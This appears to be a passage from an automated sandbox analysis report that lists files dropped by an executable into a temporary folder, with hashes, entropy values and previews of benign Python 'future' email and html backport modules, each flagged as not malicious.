Preview:	o.........es........................@...sb...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.S.).z/Class representing image/* type MIME documents......)...unicode_literals)...division)...absolute_import..MIMEImageN)...encoders)...MIMENonMultipartc....................@...s ...e.Z.d.Z.d.Z.d.e.j.f.d.d...Z.d.S.).r....z1Class for generating image/* type MIME documents.Nc....................K...sP...\|.d.u.r.t...d.\|...}.\|.d.u.r.t.d.....t.j.\|.d.\|.f.i.\|.......\|...\|.....\|.\|.....d.S.).a....Create an image/* type MIME document... _imagedata is a string containing the raw image data. If this data. can be decoded by the standard Python `imghdr' module, then the. subtype will be automatically included in the Content-Type header.. Otherwise, you can specify the specific image subtype via the _subtype. parameter... _encoder is a function which will perform the actual encoding for. transport of the image d

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\pycache\message.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.345326449680628
Encrypted:	false
SSDEEP:	24:0b99IFSz2G94gx/KGkW5NIiNGPxdB4/I+5Mr7X4XGPxGRrbUccEMu7mRlzOLDEEX:0DfzwgxyBWYIGpk/bAX4XGpGRXUTlzMX
MD5:	EAFD18304166CD63EEA4AFA6FD05A70A
SHA1:	435F1C962DB56462A8503657D74D9490C78AECEF
SHA-256:	E4572D5E91097D1E14A4BECF857D6B3B569059E8EFD8F1E3591C8D145201FFE1
SHA-512:	6D8DB2C071C8CD013413B63887894527F9FE455D9F3BE17C5866E13E9B2D3BC7A178B1BE04C34AA5F4D7E64BED8D47AA07666E20817A27A6A772CB8629F79426
Malicious:	false
Preview:	o.........e.........................@...sZ...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.S.)..,Class representing message/* MIME documents......)...unicode_literals)...division)...absolute_import..MIMEMessage)...message)...MIMENonMultipartc....................@...s....e.Z.d.Z.d.Z.d.d.d...Z.d.S.).r....r......rfc822c....................C...s>...t...\|.d.\|.....t.\|.t.j...s.t.d.....t.j...\|.\|.....\|...d.....d.S.).a....Create a message/* type MIME document... _msg is a message object and must be an instance of Message, or a. derived class of Message, otherwise a TypeError is raised... Optional _subtype defines the subtype of the contained message. The. default is "rfc822" (this is defined by the MIME standard, even though. the term "rfc822" is technically outdated by RFC 2822).. r....z&Argument is not an instance of Messagez.message/rfc822N).r......__init__..isinstancer......Message..TypeError..attach..set_d

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\pycache\multipart.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1680
Entropy (8bit):	5.252237206535422
Encrypted:	false
SSDEEP:	24:Bv94zzSz2GSlYKAAHX/gvXh0tRqoHVHHkYmEM9KWkRjRJ6oLzOlaE6oi:B6zOzslYHAHv22n32KjRtLLzL0i
MD5:	567F1042535E86857830DA50C86860D1
SHA1:	2F90DDC6231B9342A4F7EB0FEC7ECD49CB1DA293
SHA-256:	99205F0C91BE89D3B23E7EEA59866A433C93DAB0F606F38A0C3A347CF4C731B0
SHA-512:	EB1CE00400AF9DC4EE70F0ED5C7673B2D582492B0927783390ADACB02DEF61939BE1727321E3C6D15A2E1FD3564D86F7B69DE178F51579D3A5234A8BF3BE8B29
Malicious:	false
Preview:	o.........e.........................@...sN...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.d.d.l.m.Z...G.d.d...d.e...Z.d.S.)...Base class for MIME multipart/* type messages......)...unicode_literals)...division)...absolute_import..MIMEMultipart)...MIMEBasec....................@...s....e.Z.d.Z.d.Z.d.d.d...Z.d.S.).r....r......mixedNc....................K...sJ...t.j.\|.d.\|.f.i.\|.......g.\|._.\|.r.\|.D.].}.\|...\|.....q.\|.r#\|...\|.....d.S.d.S.).a....Creates a multipart/* type message... By default, creates a multipart/mixed message, with proper. Content-Type and MIME-Version headers... _subtype is the subtype of the multipart content type, defaulting to. `mixed'... boundary is the multipart boundary string. By default it is. calculated as needed... _subparts is a sequence of initial subparts for the payload. It. must be an iterable object, such as a list. You can always. attach new subparts to the message by using the attach() met

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\pycache\nonmultipart.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	981
Entropy (8bit):	5.254453139269225
Encrypted:	false
SSDEEP:	24:d99wSSz2GlKw/6nwW/L/+EMJwRlqqRNDRZqqhQcm:lwBzLK7wWD/FlqqRBqqhQcm
MD5:	C57D94D7FBFD604174EE1133394BF505
SHA1:	1A5DFC6930888691B4A4EA67BFEE1298399BA826
SHA-256:	1B1CC2C43F7E0B9CD358F91AFC4718AE9D618CF822DDB125939C83AC72DB360A
SHA-512:	120DEE785E5B197A57886C216F164E34911ADFBA1AD9232DBFC680E7F3B56AC300D38692FF644C6C1147DF184E1391288A35AAA185450F1F34F6F72470409870
Malicious:	false
Preview:	o.........e@........................@...sZ...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.S.).z9Base class for MIME type messages that are not multipart......)...unicode_literals)...division)...absolute_import..MIMENonMultipart)...errors)...MIMEBasec....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.S.).r....z.Base class for MIME multipart/* type messages.c....................C...s....t...d.....).Nz4Cannot attach additional subparts to non-multipart/*).r......MultipartConversionError)...self..payload..r.....k...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/backports/email/mime/nonmultipart.py..attach....s..........z.MIMENonMultipart.attachN)...__name__..__module__..__qualname__..__doc__r....r....r....r....r....r........s..........N).r......__future__r....r....r......__all__Z.future.backports.emailr....Z future.backports.email.mime.baser....r....r....r....r....r......<module>....s....................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\pycache\text.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	5.38736684677488
Encrypted:	false
SSDEEP:	24:c99QdJSz2GBgxlCjcUdKil8yB6FuG6QZ7jC56rcPhyCQa/5dEMZaExR06wGyr/Ef:CVzDgxlC40CkU6QZHS6AUB4IuMzM2Qcm
MD5:	3A46529FF174E9C3601930C190F57837
SHA1:	04AEDD090DC2BB98C19194F18EC49F68D07D5BA2
SHA-256:	22CDD1552A0EC2292D06ACB55ACD985668E5490FFD9DB236BDB854C77ED446A4
SHA-512:	0EAA7AEC838F174BD8C816B541BCB62D96CF5BE1F0B92BEACA35E52B16BCEFDFEE576F0B7F3321674EA9212F9E05B04199E2D36D9065408FD622573C26F7796F
Malicious:	false
Preview:	o.........e.........................@...sZ...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.S.).z.Class representing text/* type MIME documents......)...unicode_literals)...division)...absolute_import..MIMEText)...encode_7or8bit)...MIMENonMultipartc....................@...s....e.Z.d.Z.d.Z.d.d.d...Z.d.S.).r....z0Class for generating text/* type MIME documents...plainNc....................C...s\...\|.d.u.r.z.\|...d.....d.}.W.n...t.y.......d.}.Y.n.w.t.j.\|.d.\|.f.i.d.\|.i.......\|...\|.\|.....d.S.).a~...Create a text/* type MIME document... _text is the string for this message object... _subtype is the MIME sub content type, defaulting to "plain"... _charset is the character set parameter added to the Content-Type. header. This defaults to "us-ascii". Note that as a side-effect, the. Content-Transfer-Encoding header will also be set.. Nz.us-asciiz.utf-8..text..charset)...encode..UnicodeEncodeErrorr......__init__

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\application.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1401
Entropy (8bit):	4.674574824055371
Encrypted:	false
SSDEEP:	24:QUX5pw88lEo2bsU+qEqQzZoEcCA4I7kIizU7XIfr2mazWjO96LjZv8JVbyM4Ap:fXA8uEoLDqs6xCA71T83F8zz4M
MD5:	7A62CED54C91ED4B488D9C42A5BA5D96
SHA1:	A4E15917A37746B674023FE06D1AD0CA09A3D5B8
SHA-256:	9BEE5AE264B1BB6137D970089A7A7DC7D78C557E5599EDA23609F674C30DCACB
SHA-512:	5A64812A19817CD9C14623EB3A1E706D4C7AB4E1EC2F3A5DF7AA65AFE9E54A53C2679D7DF623059FF5CAAF1342818E399616A53A1739DFC28B03F0C7573E7775
Malicious:	false
Preview:	# Copyright (C) 2001-2006 Python Software Foundation.# Author: Keith Dart.# Contact: email-sig@python.org.."""Class representing application/* type MIME documents.""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import..from future.backports.email import encoders.from future.backports.email.mime.nonmultipart import MIMENonMultipart..__all__ = ["MIMEApplication"]...class MIMEApplication(MIMENonMultipart):. """Class for generating application/* MIME documents.""".. def __init__(self, _data, _subtype='octet-stream',. _encoder=encoders.encode_base64, *_params):. """Create an application/ type MIME document... _data is a string containing the raw application data... _subtype is the MIME content type subtype, defaulting to. 'octet-stream'... _encoder is a function which will perform the actual encoding for. transport of the application data, defaulting to base64 encodi

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\audio.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2815
Entropy (8bit):	4.576323020042878
Encrypted:	false
SSDEEP:	48:2XjguEoddvDZiuD8UyNktDxvxOvIraT1zGuC/KvpW3F8qUN4/WX:2XJvDZjDt/tlvxOvIraT1PCSIV8qQ4/U
MD5:	1BB4F876E8C04267654657FAE9E938D7
SHA1:	843AACFD9FF6C286E3C477362F2BB077D72DBCAF
SHA-256:	DA88276A515169D72C51841831465B8EFE62D7125B16140DEB8DDDA0CB88ECCE
SHA-512:	9039AED6F07F1D689B7A4B4F608F3FFC0BCDCF0889FBD618C90C279F6DA4BD905DEC2EAD43D867C5EF1A06F611CB917E80D69F2AC4467DCF306EF31CEB128FEB
Malicious:	false
Preview:	# Copyright (C) 2001-2007 Python Software Foundation.# Author: Anthony Baxter.# Contact: email-sig@python.org.."""Class representing audio/* type MIME documents.""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import..__all__ = ['MIMEAudio']..import sndhdr..from io import BytesIO.from future.backports.email import encoders.from future.backports.email.mime.nonmultipart import MIMENonMultipart..._sndhdr_MIMEmap = {'au' : 'basic',. 'wav' :'x-wav',. 'aiff':'x-aiff',. 'aifc':'x-aiff',. }..# There are others in sndhdr that don't have MIME types. :(.# Additional ones to be added to sndhdr? midi, mp3, realaudio, wma??.def _whatsnd(data):. """Try to identify a sound file type... sndhdr.what() has a pretty cruddy interface, unfortunately. This is why. we re-do it here. It would be easier to reverse engineer the Unix 'file'. command and use the standard

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\base.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	875
Entropy (8bit):	4.846685692378138
Encrypted:	false
SSDEEP:	24:QUXawp2rog0ENdA2qXmbztr5LoCA+Qk9bX6:fXdpQx0ENd3b55Fbn4
MD5:	6A74AFCAF000F4FE304136BBF89727A6
SHA1:	81A72C1E465E3782C74C333C7BDF93BB75E5F44D
SHA-256:	C15DC2950C8CB0EAA69174976E4FF077FCCFA0F4EF071F24008CEADEB74CE251
SHA-512:	A840E91ACD5B57DA0255E5B90951013FB69EF44A28FE7519FE369F385A2F04CFD8AC7719197DDF0537795C36663BB6160C4ED494EA9C7549D61A789AB092CC1E
Malicious:	false
Preview:	# Copyright (C) 2001-2006 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""Base class for MIME specializations.""".from __future__ import absolute_import, division, unicode_literals.from future.backports.email import message..__all__ = ['MIMEBase']...class MIMEBase(message.Message):. """Base class for MIME specializations.""".. def __init__(self, _maintype, _subtype, _params):. """This constructor adds a Content-Type: and a MIME-Version: header... The Content-Type: header is taken from the _maintype and _subtype. arguments. Additional parameters for this header are taken from the. keyword arguments.. """. message.Message.__init__(self). ctype = '%s/%s' % (_maintype, _subtype). self.add_header('Content-Type', ctype, _params). self['MIME-Version'] = '1.0'.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\image.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1907
Entropy (8bit):	4.595800915879048
Encrypted:	false
SSDEEP:	48:fXdpuEodrKDVxnQuzcT1zGuC/KvpW3F8DY4W:fXTDVxnQ1T1PCSIV8E4W
MD5:	C77E7428D1C41DD25676E7428E171502
SHA1:	7BA7F554EF5D2BB4812CBB3A9869DFA2D01B987C
SHA-256:	0E9424D6C07E20C98EE37005E2E69DB17C9FFF2E53744CC92DFCA1A91E3C6C8C
SHA-512:	E08D40CB5975E36527091B7096B1997ED8413CF258BF7077791838331C95EDDEEBD5594FB5EB7670CF7D9C1E7C58FA64644E3C07D45513E6AF81A5A2E01BC270
Malicious:	false
Preview:	# Copyright (C) 2001-2006 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""Class representing image/* type MIME documents.""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import..__all__ = ['MIMEImage']..import imghdr..from future.backports.email import encoders.from future.backports.email.mime.nonmultipart import MIMENonMultipart...class MIMEImage(MIMENonMultipart):. """Class for generating image/* type MIME documents.""".. def __init__(self, _imagedata, _subtype=None,. _encoder=encoders.encode_base64, *_params):. """Create an image/ type MIME document... _imagedata is a string containing the raw image data. If this data. can be decoded by the standard Python `imghdr' module, then the. subtype will be automatically included in the Content-Type header.. Otherwise, you can specify the specific image subtype via the _subtype. p

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\message.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1429
Entropy (8bit):	4.70415553376812
Encrypted:	false
SSDEEP:	24:QUXawZ8lEo2IBLEuBoEzAGaJBNGPxdB4/I+5MrrAhkkCnISWVbS4XGPxP8RE:fXdZuEodmfQUGpk/bcSkkCnISEm4XGpT
MD5:	0EF902B1D5277B92E11FFA3BBAA851ED
SHA1:	5AB2E8152D27BC9D6EC3E3542B64320C08AE06F6
SHA-256:	A45B0C8575B4EDA463B0BAB5A5E3BCE3B3C0A56140976F3E67667B04FD439FBE
SHA-512:	07E72FE3587E8567DFAF440051C83EF63D1FA6ED4BEC63BEC0C263F378283ED99676560E8B2800F0EFF3B27A8B59729488C3AFF5967542A3EAF539FC2039FBC1
Malicious:	false
Preview:	# Copyright (C) 2001-2006 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""Class representing message/* MIME documents.""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import..__all__ = ['MIMEMessage']..from future.backports.email import message.from future.backports.email.mime.nonmultipart import MIMENonMultipart...class MIMEMessage(MIMENonMultipart):. """Class representing message/* MIME documents.""".. def __init__(self, _msg, _subtype='rfc822'):. """Create a message/* type MIME document... _msg is a message object and must be an instance of Message, or a. derived class of Message, otherwise a TypeError is raised... Optional _subtype defines the subtype of the contained message. The. default is "rfc822" (this is defined by the MIME standard, even though. the term "rfc822" is technically outdated by RFC 2822).. """. MIMENonMult

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\multipart.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	4.543511315187796
Encrypted:	false
SSDEEP:	24:QVXawQ8lEo2IE+MAPQLwmxX/gvXh0tRqoHVHUA6rolL8ODQXj4w:6XdQuEod1MtMkv22nmmRo4w
MD5:	5FDF21E7F37CD8E3E54981EBA57DA094
SHA1:	BD8625A8DB7CD82C6BF31B3ED0FF7259CDF89E3F
SHA-256:	8F82DFFEC266BB04DB7E0750E91DF9FEDD7F85AD83CA7241243BE98F06CD39B1
SHA-512:	E676E3B7AE4DA076782B7FB9AF61BAF11AA51C678290C5976C1AAEAA5FAE0EF9383C3B9E438C5828D32C49C12EADC039EE2018C869922A495CECAC01F618EB31
Malicious:	false
Preview:	# Copyright (C) 2002-2006 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""Base class for MIME multipart/* type messages.""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import..__all__ = ['MIMEMultipart']..from future.backports.email.mime.base import MIMEBase...class MIMEMultipart(MIMEBase):. """Base class for MIME multipart/* type messages.""".. def __init__(self, _subtype='mixed', boundary=None, _subparts=None,. *_params):. """Creates a multipart/ type message... By default, creates a multipart/mixed message, with proper. Content-Type and MIME-Version headers... _subtype is the subtype of the multipart content type, defaulting to. `mixed'... boundary is the multipart boundary string. By default it is. calculated as needed... _subparts is a sequence of initial subparts for the payload. It. must be an i

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\nonmultipart.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	832
Entropy (8bit):	4.784803437575859
Encrypted:	false
SSDEEP:	12:QcbcX9WR00RbUeadHjYa4JajKPjCIRru6cdqh/RMB1ZPCjhBYiXawkjhLWk:QVXawVt8lEo2Ivrny1Z2hBLazhWk
MD5:	207FF76FC0A6A79825CFAD0AA1396420
SHA1:	A2808488321F0C193E3D065DEAD0EFAE14FA76C3
SHA-256:	0A26DAD59F1DDB22C30E9C600C9BA4DC16FE4EA72913D1C277C29F6D6E6F825E
SHA-512:	2FD8821353787A4FE72A2D8A41E9315753ABA26FD179E896EA87792E56C1B0B599B342B7D129D1B1E2E6C8AC13F334704F50ED6BCFF41892F954119711A05BE5
Malicious:	false
Preview:	# Copyright (C) 2002-2006 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""Base class for MIME type messages that are not multipart.""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import..__all__ = ['MIMENonMultipart']..from future.backports.email import errors.from future.backports.email.mime.base import MIMEBase...class MIMENonMultipart(MIMEBase):. """Base class for MIME multipart/* type messages.""".. def attach(self, payload):. # The public API prohibits attaching multiple subparts to MIMEBase. # derived subtypes since none of them are, by definition, of content. # type multipart/. raise errors.MultipartConversionError(. 'Cannot attach additional subparts to non-multipart/').

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\text.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	4.631631114386882
Encrypted:	false
SSDEEP:	24:QUXawsdQ8lEo2IRy2dEuKyoEcUdqA07fB6FuG6QZ7jC56rcPhqJ1WBMqdVs5eEnf:fXdtuEodP2Zx7LpU6QZHS6AHTVs3nv3
MD5:	0D24364CF5FA240073470A4EDD2E5FCB
SHA1:	459E0B2AB8AABA8DCC21DA5B3241D98CAD17C68F
SHA-256:	CD5F7C063A11E12FE75FC738EF1E372E7B2789F7868487CD1B0480879EF96ECD
SHA-512:	259B17EAF63C354EDF2ECBF384E7CA2F3C82DE97E83277D16F758E22E2F465091AF5D6B2507EE7B522D73F22A199DBF05223424EB3DB64544A0D3B937F7F88D0
Malicious:	false
Preview:	# Copyright (C) 2001-2006 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""Class representing text/* type MIME documents.""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import..__all__ = ['MIMEText']..from future.backports.email.encoders import encode_7or8bit.from future.backports.email.mime.nonmultipart import MIMENonMultipart...class MIMEText(MIMENonMultipart):. """Class for generating text/* type MIME documents.""".. def __init__(self, _text, _subtype='plain', _charset=None):. """Create a text/* type MIME document... _text is the string for this message object... _subtype is the MIME sub content type, defaulting to "plain"... _charset is the character set parameter added to the Content-Type. header. This defaults to "us-ascii". Note that as a side-effect, the. Content-Transfer-Encoding header will also be set.. """.. # If no

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\parser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	4.455217543457271
Encrypted:	false
SSDEEP:	96:2XK8LqJtLA6TQJerJ+VcgAJeYl+eigd2u4s:yKfJtLAIJeg
MD5:	CE258760D532E56DCA056574A0DDFB29
SHA1:	FD49F80E036D5C35C8F61871CB999B910C0A8DB4
SHA-256:	FB5D79482DC31D9EA52E28D6153C6E3A713E1A233604E61A512CFE4299AF612A
SHA-512:	5F9ECAEA5E87953AF5EC80BEACD31731F017C994392E9EEF23318E0D674061F72E0B3E53996EE255C70C552FA8F47B10D2540BE616FDE7BB91620FE3683777DA
Malicious:	false
Preview:	# Copyright (C) 2001-2007 Python Software Foundation.# Author: Barry Warsaw, Thomas Wouters, Anthony Baxter.# Contact: email-sig@python.org.."""A parser of RFC 2822 and MIME email messages.""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import..__all__ = ['Parser', 'HeaderParser', 'BytesParser', 'BytesHeaderParser']..import warnings.from io import StringIO, TextIOWrapper..from future.backports.email.feedparser import FeedParser, BytesFeedParser.from future.backports.email.message import Message.from future.backports.email._policybase import compat32...class Parser(object):. def __init__(self, _class=Message, **_3to2kwargs):. """Parser of RFC 2822 and MIME email messages... Creates an in-memory object tree representing the email message, which. can then be manipulated and turned over to a Generator to return the. textual representation of the message... The string must be formatted as a blo

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\policy.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8823
Entropy (8bit):	4.317453951680519
Encrypted:	false
SSDEEP:	192:ghSVVbTFGKJU/LfKISo/BgTvttKTocQ+evaaLYHibT/s:ghQZTPJUWnoOTvt4TPeva7ET0
MD5:	8B047CB45A2694AE50FC07F14FD074A8
SHA1:	4904A33DDFD51A08C645273E116106565A25C5DC
SHA-256:	82971B855457B82A2190AE8C52AA294ECD65BF8138F995543BA3959DCA061091
SHA-512:	5C4CDBC9D537720386FF39921C8AA11726E652E96BF7579BB79ADEF584FF66E875856537550BF7E6A11DF97787ABE7822E7493FF6D09532F282A67B1B28DC9FD
Malicious:	false
Preview:	"""This will be the home for the policy that hooks in the new.code that adds all the email6 features..""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import.from future.builtins import super..from future.standard_library.email._policybase import (Policy, Compat32,. compat32, _extend_docstrings).from future.standard_library.email.utils import _has_surrogates.from future.standard_library.email.headerregistry import HeaderRegistry as HeaderRegistry..__all__ = [. 'Compat32',. 'compat32',. 'Policy',. 'EmailPolicy',. 'default',. 'strict',. 'SMTP',. 'HTTP',. ]..@_extend_docstrings.class EmailPolicy(Policy):.. """+. PROVISIONAL.. The API extensions enabled by this policy are currently provisional.. Refer to the documentation for details... This policy adds new header parsing and folding algorithms. Instead of. simple strings, headers are cus

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\quoprimime.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10923
Entropy (8bit):	4.723596522437111
Encrypted:	false
SSDEEP:	192:/fQl78ZRDQIccd3nAwiAZeRalAC3W7FXcl6cRLYTscpsjp9TtwjeQ2h4:/dZREPqwwzZekAmW7FO6cRLYTsA+XTtk
MD5:	333CB589B2015F04F2C1212226074996
SHA1:	C0A3AF9DF5A6BE658C0F837667378E01C724584C
SHA-256:	C3DDD6E5781D169C86683A83049AE75C5FEFFE7A47E6BDB45AE0319AB033C908
SHA-512:	C2B4024C615504D283B554F8A791017F70DD6630460A5FC7C18DF5DDC0FF788ECE886D22B47129E1EE32F14E524A1BB0DE4ACC191E157A5CD65C75B9EBA8223B
Malicious:	false
Preview:	# Copyright (C) 2001-2006 Python Software Foundation.# Author: Ben Gertzfield.# Contact: email-sig@python.org.."""Quoted-printable content transfer encoding per RFCs 2045-2047...This module handles the content transfer encoding method defined in RFC 2045.to encode US ASCII-like 8-bit data called `quoted-printable'. It is used to.safely encode text that is in a character set similar to the 7-bit US ASCII.character set, but that includes some 8-bit characters that are normally not.allowed in email bodies or headers...Quoted-printable is very space-inefficient for encoding binary files; use the.email.base64mime module for that instead...This module provides an interface to encode and decode both headers and bodies.with quoted-printable encoding...RFC 2045 defines a method for including character set information in an.`encoded-word' in a header. This method is commonly used for 8-bit real names.in To:/From:/Cc: etc. fields, as well as Subject: lines...This module does not do the line wra

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\utils.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14270
Entropy (8bit):	4.675702848796122
Encrypted:	false
SSDEEP:	384:+Vtu0OwwFSwUvB17fCtRzbDPKY8ZGyGimi:+Vtu0OwwnUZ172RzbDPzyp
MD5:	87EC45AC68F472DFA0A5C047FF70AED7
SHA1:	1D0A823E8606F2FDBDC88E780A014FFF01FEB563
SHA-256:	BE97CDD04F148CD6CDC3ED8D1414060A8E13360AE084CB2ACE91185B90BF7C1B
SHA-512:	3CF370C51F69FED3E18E79FB836EF49081EFB16DD9638A5677E080D77E86C335A69247505000A16F1473F9A165ACA0F43CC366C623B263F40C495070F6C48B66
Malicious:	false
Preview:	# Copyright (C) 2001-2010 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""Miscellaneous utilities."""..from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import.from future import utils.from future.builtins import bytes, int, str..__all__ = [. 'collapse_rfc2231_value',. 'decode_params',. 'decode_rfc2231',. 'encode_rfc2231',. 'formataddr',. 'formatdate',. 'format_datetime',. 'getaddresses',. 'make_msgid',. 'mktime_tz',. 'parseaddr',. 'parsedate',. 'parsedate_tz',. 'parsedate_to_datetime',. 'unquote',. ]..import os.import re.if utils.PY2:. re.ASCII = 0.import time.import base64.import random.import socket.from future.backports import datetime.from future.backports.urllib.parse import quote as url_quote, unquote as url_unquote.import warnings.from io import StringIO..from future.backports.email._parseaddr import quote.from future.backports.email._pa

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\html\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	924
Entropy (8bit):	4.792555091779907
Encrypted:	false
SSDEEP:	24:/5p+ht/cXVXMwT8lwdo8t7Ro8t5G127i4qhGDURPlyTrNYbJ4+xoy+t:/5AKXVXMwTuwdtREn4qhuKoTrNYbHuzt
MD5:	08C7DDF46EFA31318BC783E051A5A497
SHA1:	F077C26245A9808A6EB7CC5F2F862C8A325B36FE
SHA-256:	14AC2A16D58C0A818D92153DECE3E74757D94A1E9EB4029F375154D4ABD7715F
SHA-512:	343DF57FB9A3C96117284A5EB89F4EA6C55B85CAD889E2C3C394C542AF7EDFAD348C6914D5D0C3CA6A1F021A013809382EB23EC2D26C89228974DA78410CD158
Malicious:	false
Preview:	""".General functions for HTML manipulation, backported from Py3...Note that this uses Python 2.7 code with the corresponding Python 3.module names and locations.."""..from __future__ import unicode_literals..._escape_map = {ord('&'): '&', ord('<'): '<', ord('>'): '>'}._escape_map_full = {ord('&'): '&', ord('<'): '<', ord('>'): '>',. ord('"'): '"', ord('\''): '''}..# NB: this is a candidate for a bytes/string polymorphic interface..def escape(s, quote=True):. """. Replace special characters "&", "<" and ">" to HTML-safe sequences.. If the optional flag quote is true (the default), the quotation mark. characters, both double quote (") and single quote (') characters are also. translated.. """. assert not isinstance(s, bytes), 'Pass a unicode string'. if quote:. return s.translate(_escape_map_full). return s.translate(_escape_map).

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\html\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1051
Entropy (8bit):	5.533913717072671
Encrypted:	false
SSDEEP:	24:+BzSFzL6Ip+ht/cXVXMwUSsBp+yQohGDURPlyTrNYh3wWoWmoE6XRheX3b:+BWFPJAKXVXMw7seyRhuKoTrNYh3pBmz
MD5:	09D687AF57E8ABD16D5FE339F0AEC536
SHA1:	74C65F43639DA21F260553DED134F12A73DCE382
SHA-256:	D132ED2FB331EC06A39074341DDA8988455265CCEBA7C13F8EA7FB22F152A88B
SHA-512:	0894AAFD174B11FB4991396EC25153FF3CA6FAC4923198FD62794434577192E941D8BB8DB3B9D84CF966D803E39C06DAD79B4B6F7BAD4EDA33CA8932A495ABD2
Malicious:	false
